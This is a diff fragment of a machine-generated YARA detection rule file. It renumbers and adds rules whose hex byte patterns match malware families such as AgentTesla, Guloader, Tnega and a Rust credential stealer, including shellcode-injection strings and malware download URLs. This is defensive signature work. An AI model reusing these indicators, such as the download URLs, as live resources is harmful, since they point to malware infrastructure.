+rule _InfrastructureShared_17125{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,1e 00 1e 00 06 00 21 " @@ -188138,7 +200727,7 @@ rule _InfrastructureShared_16070{ ((#a_46_0 & 1)*21283+(#a_0a_1 & 1)*-29230+(#a_90_2 & 1)*-14029+(#a_4e_3 & 1)*27725+(#a_6a_4 & 1)*29268+(#a_40_5 & 1)*-31928) >=30 } -rule _InfrastructureShared_16071{ +rule _InfrastructureShared_17126{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,65 00 65 00 05 00 21 " @@ -188152,7 +200741,7 @@ rule _InfrastructureShared_16071{ ((#a_54_0 & 1)*18467+(#a_57_1 & 1)*30256+(#a_75_2 & 1)*12886+(#a_0c_3 & 1)*20227+(#a_c0_4 & 1)*513) >=101 } -rule _InfrastructureShared_16072{ +rule _InfrastructureShared_17127{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -188162,7 +200751,7 @@ rule _InfrastructureShared_16072{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_16073{ +rule _InfrastructureShared_17128{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " @@ -188175,7 +200764,7 @@ rule _InfrastructureShared_16073{ ((#a_46_0 & 1)*21283+(#a_55_1 & 1)*12800+(#a_04_2 & 1)*-28539+(#a_04_3 & 1)*400) >=1 } -rule _InfrastructureShared_16074{ +rule _InfrastructureShared_17129{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 05 00 21 " @@ -188188,7 +200777,7 @@ rule _InfrastructureShared_16074{ ((#a_46_0 & 1)*16675+(#a_39_2 & 1)*13057+(#a_64_3 & 1)*11573+(#a_34_4 & 1)*12385) >=1 } -rule _InfrastructureShared_16075{ +rule _InfrastructureShared_17130{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -188199,7 +200788,7 @@ rule _InfrastructureShared_16075{ ((#a_46_0 & 1)*16675+(#a_ff_1 & 1)*-14848) >=2 } -rule _InfrastructureShared_16076{ +rule _InfrastructureShared_17131{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -188212,7 +200801,7 @@ rule _InfrastructureShared_16076{ ((#a_54_0 & 1)*18467+(#a_04_1 & 1)*-28539+(#a_01_2 & 1)*-31290+(#a_4a_3 & 1)*5635) >=2 } -rule _InfrastructureShared_16077{ +rule _InfrastructureShared_17132{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 06 00 21 " @@ -188226,7 +200815,7 @@ rule _InfrastructureShared_16077{ ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*31297+(#a_65_2 & 1)*28483+(#a_00_4 & 1)*45+(#a_2d_5 & 1)*2305) >=2 } -rule _InfrastructureShared_16078{ +rule _InfrastructureShared_17133{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -188237,7 +200826,7 @@ rule _InfrastructureShared_16078{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*116) >=3 } -rule _InfrastructureShared_16079{ +rule _InfrastructureShared_17134{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -188248,7 +200837,7 @@ rule _InfrastructureShared_16079{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*26112) >=3 } -rule _InfrastructureShared_16080{ +rule _InfrastructureShared_17135{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -188260,7 +200849,7 @@ rule _InfrastructureShared_16080{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*0+(#a_00_2 & 1)*0) >=3 } -rule _InfrastructureShared_16081{ +rule _InfrastructureShared_17136{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -188273,7 +200862,7 @@ rule _InfrastructureShared_16081{ ((#a_46_0 & 1)*16675+(#a_6c_1 & 1)*24941+(#a_74_2 & 1)*28767+(#a_4d_3 & 1)*13106) >=3 } -rule _InfrastructureShared_16082{ +rule _InfrastructureShared_17137{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -188286,7 +200875,7 @@ rule _InfrastructureShared_16082{ ((#a_54_0 & 1)*18467+(#a_06_1 & 1)*4356+(#a_fe_2 & 1)*0+(#a_90_3 & 1)*405) >=4 } -rule _InfrastructureShared_16083{ +rule _InfrastructureShared_17138{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -188296,7 +200885,7 @@ rule _InfrastructureShared_16083{ ((#a_54_0 & 1)*18467) >=4 } -rule _InfrastructureShared_16084{ +rule _InfrastructureShared_17139{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " @@ -188311,7 +200900,7 @@ rule _InfrastructureShared_16084{ ((#a_46_0 & 1)*16675+(#a_54_1 & 1)*-32757+(#a_69_2 & 1)*25933+(#a_6d_3 & 1)*25390+(#a_62_4 & 1)*11619+(#a_36_5 & 1)*17219) >=4 } -rule _InfrastructureShared_16085{ +rule _InfrastructureShared_17140{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -188324,7 +200913,7 @@ rule _InfrastructureShared_16085{ ((#a_46_0 & 1)*16675+(#a_4d_1 & 1)*385+(#a_55_2 & 1)*19011+(#a_44_3 & 1)*11824) >=5 } -rule _InfrastructureShared_16086{ +rule _InfrastructureShared_17141{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -188335,7 +200924,7 @@ rule _InfrastructureShared_16086{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*0) >=5 } -rule _InfrastructureShared_16087{ +rule _InfrastructureShared_17142{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -188346,7 +200935,7 @@ rule _InfrastructureShared_16087{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*-25088) >=5 } -rule _InfrastructureShared_16088{ +rule _InfrastructureShared_17143{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -188361,7 +200950,7 @@ rule _InfrastructureShared_16088{ ((#a_54_0 & 1)*18467+(#a_52_1 & 1)*29800+(#a_32_2 & 1)*20836+(#a_23_3 & 1)*6+(#a_54_4 & 1)*8500+(#a_30_5 & 1)*12336) >=6 } -rule _InfrastructureShared_16089{ +rule _InfrastructureShared_17144{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -188374,7 +200963,7 @@ rule _InfrastructureShared_16089{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*114+(#a_32_3 & 1)*14177+(#a_3a_5 & 1)*17748) >=6 } -rule _InfrastructureShared_16090{ +rule _InfrastructureShared_17145{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 06 00 21 " @@ -188388,23 +200977,55 @@ rule _InfrastructureShared_16090{ ((#a_4c_0 & 1)*21539+(#a_00_2 & 1)*115+(#a_00_3 & 1)*1+(#a_20_4 & 1)*14+(#a_41_5 & 1)*8448) >=7 } -rule _InfrastructureShared_16091{ +rule _InfrastructureShared_17146{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 53 69 73 62 6f 74 2e 52 54 48 21 4d 54 42 00 01 00 3a 81 01 44 3a 5c 4f 6e 65 44 72 69 76 65 5c 50 72 6f 6a 65 63 74 73 5c 4f 6e 65 44 72 69 76 65 54 69 6d 65 72 5c 42 6f 74 5c 6f 62 6a 5c 52 } //16675 $a_61_1 = {65 5c 42 6f 74 2e 70 64 62 01 00 25 81 01 24 33 63 37 32 37 36 33 63 2d 36 64 31 31 2d 34 38 63 38 2d 39 39 35 38 2d 38 61 62 33 37 61 33 38 62 34 35 32 01 00 1e 81 01 42 6f 74 2e 42 6f 74 45 6e 67 69 6e 65 2b 3c 54 69 6d 65 72 54 69 63 6b 3e 64 5f 5f 31 36 01 00 0e 81 01 56 69 72 74 75 61 6c 41 6c 6c } //27749 - $a_78_2 = {00 0e 81 01 44 65 62 75 67 67 69 6e 67 4d 6f 64 65 73 01 00 0f 81 01 49 6e 6a 65 63 74 53 68 65 6c 6c 43 6f 64 65 01 00 0b 81 01 43 68 65 63 6b 46 6f 72 42 6f 74 00 00 78 ff 00 00 08 00 08 00 08 00 21 23 48 } //25455 - $a_3a_3 = {72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 4d 51 32 33 21 4d 54 42 00 01 00 27 81 01 47 61 6d 65 73 70 79 4d 61 73 74 65 72 53 65 72 76 65 72 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 01 00 09 81 01 } //21587 - $a_63_4 = {43 6f 70 79 01 00 0e 81 01 43 72 65 61 74 65 49 6e 73 74 61 6e 63 65 01 00 13 81 01 46 72 6f 6d 42 61 73 65 36 34 43 68 61 72 41 72 72 61 79 01 00 0f 81 01 46 6c 75 73 68 46 69 6e 61 6c 42 6c 6f 63 6b 01 00 0f 81 01 43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 01 00 25 81 01 24 36 63 30 64 61 34 39 63 2d 66 66 65 37 2d 34 63 64 36 } //27714 - $a_32_5 = {2d 38 37 34 63 35 61 39 62 38 65 65 38 01 00 12 81 01 2b 2a 2c 2a 39 38 42 41 43 41 4a 49 4b 49 4c 49 4d 49 00 00 78 ff 00 00 09 00 09 00 06 00 } //25133 - $a_53_6 = {52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 54 6e 65 67 61 2e 52 50 61 78 30 38 33 21 45 4d 4c 00 01 00 46 00 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 66 00 69 00 6c 00 65 00 73 00 2e 00 63 00 61 00 74 00 62 00 } //8993 + $a_78_2 = {00 0e 81 01 44 65 62 75 67 67 69 6e 67 4d 6f 64 65 73 01 00 0f 81 01 49 6e 6a 65 63 74 53 68 65 6c 6c 43 6f 64 65 01 00 0b 81 01 43 68 65 63 6b 46 6f 72 42 6f 74 00 00 78 ff 00 00 07 00 07 00 07 00 21 23 48 } //25455 + $a_3a_3 = {72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 4c 4f 35 35 00 01 00 25 81 01 24 46 33 43 38 41 39 36 32 2d 44 34 45 31 2d 34 42 38 37 2d 39 46 32 35 2d 41 38 37 42 34 43 35 45 36 44 39 30 01 00 26 81 01 53 68 75 74 41 70 70 } //21587 + $a_6f_4 = {65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 01 00 1a 81 01 53 68 75 74 41 70 70 2e 53 65 74 74 69 6e 67 73 2e 72 65 73 6f 75 72 63 65 73 01 00 16 81 01 53 68 75 74 41 70 70 2e 4d 61 69 6e 2e 72 65 73 6f 75 72 63 65 73 01 00 18 81 01 53 68 75 74 41 70 70 2e 75 63 54 69 6d 65 2e 72 65 73 6f 75 72 63 65 73 01 } //20526 + $a_01_5 = {47 65 74 53 74 72 69 6e 67 01 00 14 81 01 47 65 74 45 78 65 63 75 74 69 6e 67 41 73 73 65 6d 62 6c 79 00 00 78 ff 00 00 07 00 07 00 07 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4c 54 30 31 21 4d 54 42 00 01 00 17 81 01 5c 61 72 74 69 6c 6c 65 72 69 61 6e 67 72 65 62 65 74 73 2e 43 65 73 01 00 23 81 01 47 69 64 64 79 68 65 61 64 32 31 31 5c 6e 65 63 74 61 } //2304 + $a_65_6 = {5c 64 65 66 69 6e 65 72 65 64 65 73 01 00 2c 81 01 49 6d 6d 69 74 69 67 61 62 6c 65 5c 52 69 62 65 73 62 75 73 6b 31 36 37 5c 4c 61 6e 67 73 6f 6d 74 76 69 72 6b 65 6e 64 65 31 38 37 01 00 0f 81 01 5c 68 65 74 65 72 6f 70 74 65 72 2e 62 65 76 01 00 11 81 01 62 61 72 6b 61 72 6f 6c 65 72 6e 65 73 2e 6d 69 73 01 00 20 81 01 66 61 6e 63 69 65 73 } //26994 condition: - ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*27749+(#a_78_2 & 1)*25455+(#a_3a_3 & 1)*21587+(#a_63_4 & 1)*27714+(#a_32_5 & 1)*25133+(#a_53_6 & 1)*8993) >=7 + ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*27749+(#a_78_2 & 1)*25455+(#a_3a_3 & 1)*21587+(#a_6f_4 & 1)*20526+(#a_01_5 & 1)*2304+(#a_65_6 & 1)*26994) >=7 } -rule _InfrastructureShared_16092{ +rule _InfrastructureShared_17147{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " + + strings : + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 4c 4f 35 35 00 01 00 25 81 01 24 46 33 43 38 41 39 36 32 2d 44 34 45 31 2d 34 42 38 37 2d 39 46 32 35 2d 41 38 37 42 34 43 35 45 36 44 39 30 01 00 26 81 01 53 68 75 74 41 70 } //18467 + $a_72_1 = {70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 01 00 1a 81 01 53 68 75 74 41 70 70 2e 53 65 74 74 69 6e 67 73 2e 72 65 73 6f 75 72 63 65 73 01 00 16 81 01 53 68 75 74 41 70 70 2e 4d 61 69 6e 2e 72 65 73 6f } //11888 + $a_65_2 = {01 00 18 81 01 53 68 75 74 41 70 70 2e 75 63 54 69 6d 65 2e 72 65 73 6f 75 72 63 65 73 01 00 09 81 01 47 65 74 53 74 72 69 6e 67 01 00 14 81 01 47 65 74 45 78 65 63 75 74 69 6e 67 41 73 73 65 6d 62 6c 79 00 00 78 ff 00 00 07 00 07 00 07 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 } //29301 + $a_47_3 = {54 30 31 21 4d 54 42 00 01 00 17 81 01 5c 61 72 74 69 6c 6c 65 72 69 61 6e 67 72 65 62 65 74 73 2e 43 65 73 01 00 23 81 01 47 69 64 64 79 } //29285 + $a_64_4 = {31 31 5c 6e 65 63 74 61 72 69 73 65 64 5c 64 65 66 69 6e 65 72 65 64 65 73 01 00 2c 81 01 49 6d 6d 69 74 69 67 61 62 6c 65 5c 52 69 62 65 73 62 75 73 6b 31 36 37 5c 4c 61 6e 67 73 6f 6d 74 76 69 72 6b 65 6e 64 65 31 38 37 01 00 0f 81 01 5c 68 65 74 65 72 6f 70 74 65 72 2e 62 65 76 01 00 11 } //25960 + $a_61_5 = {6b 61 72 6f 6c 65 72 6e 65 73 2e 6d 69 73 01 00 20 81 01 66 61 6e 63 69 65 73 5c 6f 6e 69 6f 6e 73 6b 69 6e 5c 70 72 6f 70 6f 73 69 74 69 6f 6e 69 73 65 01 00 0e 81 01 74 73 61 72 72 69 67 65 74 73 2e 65 78 65 00 00 78 ff 00 00 08 00 08 00 08 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 } //385 + $a_41_6 = {65 6e 74 54 65 73 6c 61 2e 41 4d 4d 51 32 33 21 4d 54 42 00 01 00 27 81 01 47 61 6d 65 73 70 79 4d 61 73 74 65 72 53 65 72 76 65 72 2e 52 65 } //19529 + condition: + ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*11888+(#a_65_2 & 1)*29301+(#a_47_3 & 1)*29285+(#a_64_4 & 1)*25960+(#a_61_5 & 1)*385+(#a_41_6 & 1)*19529) >=7 + +} +rule _InfrastructureShared_17148{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4c 54 30 31 21 4d 54 42 00 01 00 17 81 01 5c 61 72 74 69 6c 6c 65 72 69 61 6e 67 72 65 62 65 74 73 2e 43 65 73 01 00 23 81 01 47 69 64 64 79 68 65 61 64 32 31 31 5c 6e 65 63 74 61 72 69 73 65 64 5c } //18467 + $a_69_1 = {65 72 65 64 65 73 01 00 2c 81 01 49 6d 6d 69 74 69 67 61 62 6c 65 5c 52 69 62 65 73 62 75 73 6b 31 36 37 5c 4c 61 6e 67 73 6f 6d 74 76 69 72 6b 65 6e 64 65 31 38 37 01 00 0f 81 01 5c 68 65 74 65 72 6f 70 74 65 72 2e 62 65 76 01 00 11 81 01 62 61 72 6b 61 72 6f 6c 65 72 6e 65 73 2e 6d 69 73 01 00 20 81 01 } //25956 + $a_63_2 = {65 73 5c 6f 6e 69 6f 6e 73 6b 69 6e 5c 70 72 6f 70 6f 73 69 74 69 6f 6e 69 73 65 01 00 0e 81 01 74 73 61 72 72 69 67 65 74 73 2e 65 78 65 00 00 78 ff 00 00 08 00 08 00 08 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 4d 51 32 33 21 4d 54 42 00 01 00 27 81 01 47 61 6d 65 73 70 } //24934 + $a_73_3 = {65 72 53 65 72 76 65 72 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 01 00 09 81 01 42 6c 6f 63 6b 43 6f 70 79 01 00 0e 81 01 43 72 65 61 74 65 49 6e 73 74 61 6e 63 65 01 00 13 81 01 46 72 6f 6d 42 61 73 65 36 34 43 68 61 72 41 72 72 61 79 01 00 0f 81 01 46 6c 75 73 68 46 69 } //19833 + $a_42_4 = {6f 63 6b 01 00 0f 81 01 43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 01 00 25 81 01 24 36 63 30 64 61 34 39 63 2d 66 66 65 37 2d 34 63 64 36 2d 62 30 32 65 2d 38 37 34 63 35 61 39 62 38 65 65 38 01 00 12 81 01 2b 2a 2c 2a 39 38 42 41 43 41 4a 49 4b 49 4c 49 4d 49 00 00 78 ff 00 00 09 00 09 00 06 00 21 23 48 53 54 52 3a 54 } //24942 + $a_61_5 = {3a 4d 53 49 4c 2f 54 6e 65 67 61 2e 52 50 61 78 30 38 33 21 45 4d 4c 00 01 00 46 00 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 66 00 69 00 6c 00 65 00 73 00 2e 00 63 00 61 00 74 00 62 00 6f 00 78 00 2e 00 6d 00 6f 00 65 00 2f 00 32 00 65 00 73 00 75 00 66 00 39 00 2e 00 70 00 64 00 66 00 01 00 46 00 68 00 74 00 } //28530 + $a_00_6 = {73 00 3a 00 2f 00 2f 00 66 00 69 00 6c 00 65 00 73 00 2e 00 63 00 61 00 74 00 62 00 6f 00 78 00 2e 00 6d 00 6f 00 65 00 2f 00 6b 00 35 00 69 00 6f 00 6d 00 37 00 2e 00 6d 00 70 00 33 00 02 00 0a 00 46 00 6f 00 72 00 6d 00 31 00 02 00 0a 00 46 00 6f 00 72 00 6d 00 32 00 02 00 0a 00 46 00 6f 00 72 00 6d 00 33 00 02 00 10 01 2e 46 6f 72 } //116 + condition: + ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*25956+(#a_63_2 & 1)*24934+(#a_73_3 & 1)*19833+(#a_42_4 & 1)*24942+(#a_61_5 & 1)*28530+(#a_00_6 & 1)*116) >=7 + +} +rule _InfrastructureShared_17149{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -188418,7 +201039,7 @@ rule _InfrastructureShared_16092{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*16897+(#a_36_2 & 1)*25396+(#a_00_4 & 1)*47+(#a_00_6 & 1)*102) >=8 } -rule _InfrastructureShared_16093{ +rule _InfrastructureShared_17150{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 06 00 21 " @@ -188433,7 +201054,7 @@ rule _InfrastructureShared_16093{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*47+(#a_00_2 & 1)*99+(#a_00_3 & 1)*25955+(#a_65_4 & 1)*26214+(#a_01_5 & 1)*4864) >=9 } -rule _InfrastructureShared_16094{ +rule _InfrastructureShared_17151{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -188448,7 +201069,7 @@ rule _InfrastructureShared_16094{ ((#a_54_0 & 1)*18467+(#a_41_1 & 1)*21313+(#a_65_2 & 1)*29301+(#a_61_4 & 1)*23041+(#a_43_7 & 1)*19522+(#a_68_8 & 1)*24931) >=9 } -rule _InfrastructureShared_16095{ +rule _InfrastructureShared_17152{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 07 00 21 " @@ -188462,7 +201083,7 @@ rule _InfrastructureShared_16095{ ((#a_70_0 & 1)*16675+(#a_48_3 & 1)*8236+(#a_50_4 & 1)*20306+(#a_45_5 & 1)*28004+(#a_75_6 & 1)*25976) >=10 } -rule _InfrastructureShared_16096{ +rule _InfrastructureShared_17153{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -188480,7 +201101,7 @@ rule _InfrastructureShared_16096{ ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*29300+(#a_45_2 & 1)*17408+(#a_67_3 & 1)*6144+(#a_00_5 & 1)*97+(#a_00_6 & 1)*112+(#a_4e_7 & 1)*25970+(#a_00_8 & 1)*111+(#a_00_9 & 1)*110) >=10 } -rule _InfrastructureShared_16097{ +rule _InfrastructureShared_17154{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 06 00 21 " @@ -188493,7 +201114,7 @@ rule _InfrastructureShared_16097{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*119+(#a_00_3 & 1)*100+(#a_00_5 & 1)*56) >=12 } -rule _InfrastructureShared_16098{ +rule _InfrastructureShared_17155{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 06 00 21 " @@ -188507,7 +201128,7 @@ rule _InfrastructureShared_16098{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*49+(#a_00_3 & 1)*105+(#a_4c_4 & 1)*8993+(#a_63_5 & 1)*9220) >=14 } -rule _InfrastructureShared_16099{ +rule _InfrastructureShared_17156{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0a 00 03 00 21 " @@ -188518,7 +201139,7 @@ rule _InfrastructureShared_16099{ ((#a_46_0 & 1)*16675+(#a_04_1 & 1)*18436) >=10 } -rule _InfrastructureShared_16100{ +rule _InfrastructureShared_17157{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,12 00 12 00 09 00 21 " @@ -188535,7 +201156,7 @@ rule _InfrastructureShared_16100{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*19828+(#a_72_2 & 1)*11891+(#a_2f_3 & 1)*20078+(#a_00_5 & 1)*68+(#a_25_6 & 1)*29541+(#a_65_7 & 1)*25705+(#a_45_8 & 1)*20996) >=18 } -rule _InfrastructureShared_16101{ +rule _InfrastructureShared_17158{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,16 00 16 00 07 00 21 " @@ -188551,7 +201172,7 @@ rule _InfrastructureShared_16101{ ((#a_54_0 & 1)*18467+(#a_63_1 & 1)*29296+(#a_64_2 & 1)*18432+(#a_01_3 & 1)*5631+(#a_90_4 & 1)*7056+(#a_40_5 & 1)*20737+(#a_24_6 & 1)*19595) >=22 } -rule _InfrastructureShared_16102{ +rule _InfrastructureShared_17159{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -188561,7 +201182,7 @@ rule _InfrastructureShared_16102{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_16103{ +rule _InfrastructureShared_17160{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -188571,7 +201192,7 @@ rule _InfrastructureShared_16103{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_16104{ +rule _InfrastructureShared_17161{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -188581,7 +201202,7 @@ rule _InfrastructureShared_16104{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_16105{ +rule _InfrastructureShared_17162{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 06 00 21 " @@ -188596,7 +201217,7 @@ rule _InfrastructureShared_16105{ ((#a_46_0 & 1)*21283+(#a_04_1 & 1)*-28640+(#a_01_2 & 1)*9286+(#a_6f_3 & 1)*23552+(#a_01_4 & 1)*-28561+(#a_04_5 & 1)*2560) >=1 } -rule _InfrastructureShared_16106{ +rule _InfrastructureShared_17163{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -188607,7 +201228,7 @@ rule _InfrastructureShared_16106{ ((#a_54_0 & 1)*18467+(#a_13_1 & 1)*1043) >=3 } -rule _InfrastructureShared_16107{ +rule _InfrastructureShared_17164{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 06 00 21 " @@ -188620,7 +201241,7 @@ rule _InfrastructureShared_16107{ ((#a_46_0 & 1)*16675+(#a_75_2 & 1)*23553+(#a_49_3 & 1)*20545+(#a_4f_4 & 1)*28520) >=3 } -rule _InfrastructureShared_16108{ +rule _InfrastructureShared_17165{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -188631,7 +201252,7 @@ rule _InfrastructureShared_16108{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*0) >=4 } -rule _InfrastructureShared_16109{ +rule _InfrastructureShared_17166{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -188643,7 +201264,7 @@ rule _InfrastructureShared_16109{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*0+(#a_73_3 & 1)*29230) >=4 } -rule _InfrastructureShared_16110{ +rule _InfrastructureShared_17167{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -188655,7 +201276,7 @@ rule _InfrastructureShared_16110{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*0+(#a_63_3 & 1)*14691) >=4 } -rule _InfrastructureShared_16111{ +rule _InfrastructureShared_17168{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -188667,7 +201288,7 @@ rule _InfrastructureShared_16111{ ((#a_46_0 & 1)*16675+(#a_2d_1 & 1)*14637+(#a_00_2 & 1)*104) >=4 } -rule _InfrastructureShared_16112{ +rule _InfrastructureShared_17169{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " @@ -188679,7 +201300,7 @@ rule _InfrastructureShared_16112{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*101+(#a_00_4 & 1)*98) >=4 } -rule _InfrastructureShared_16113{ +rule _InfrastructureShared_17170{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " @@ -188688,31 +201309,41 @@ rule _InfrastructureShared_16113{ $a_00_1 = {5c 00 6f 00 70 00 65 00 6e 00 5c 00 44 00 65 00 66 00 61 00 75 00 6c 00 74 00 3d 00 31 00 01 00 17 02 4f 00 50 00 45 00 4e 00 3d 00 90 02 15 2e 00 65 00 78 00 65 00 90 00 01 00 27 02 53 00 68 00 65 00 6c 00 6c 00 65 00 78 00 65 00 63 00 75 00 74 00 65 00 3d 00 90 02 15 2e 00 65 00 78 00 65 00 90 00 01 00 33 02 73 00 68 00 } //108 $a_00_2 = {6c 00 5c 00 6f 00 70 00 65 00 6e 00 5c 00 43 00 6f 00 6d 00 6d 00 61 00 6e 00 64 00 3d 00 90 02 15 2e 00 65 00 78 00 65 00 90 00 00 00 78 00 01 00 04 00 04 00 0c 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 53 70 79 2e 52 75 73 74 53 74 65 61 6c 2e 53 41 00 01 00 09 01 5c 73 6b 79 70 65 2e 72 73 01 00 0b 01 5c 73 63 61 6e 6e 65 } //101 $a_73_3 = {00 0d 01 5c 67 65 63 6b 6f 5c 6d 6f 64 2e 72 73 01 00 0a 01 5c 77 69 6e 73 63 70 2e 72 73 01 00 13 03 5c 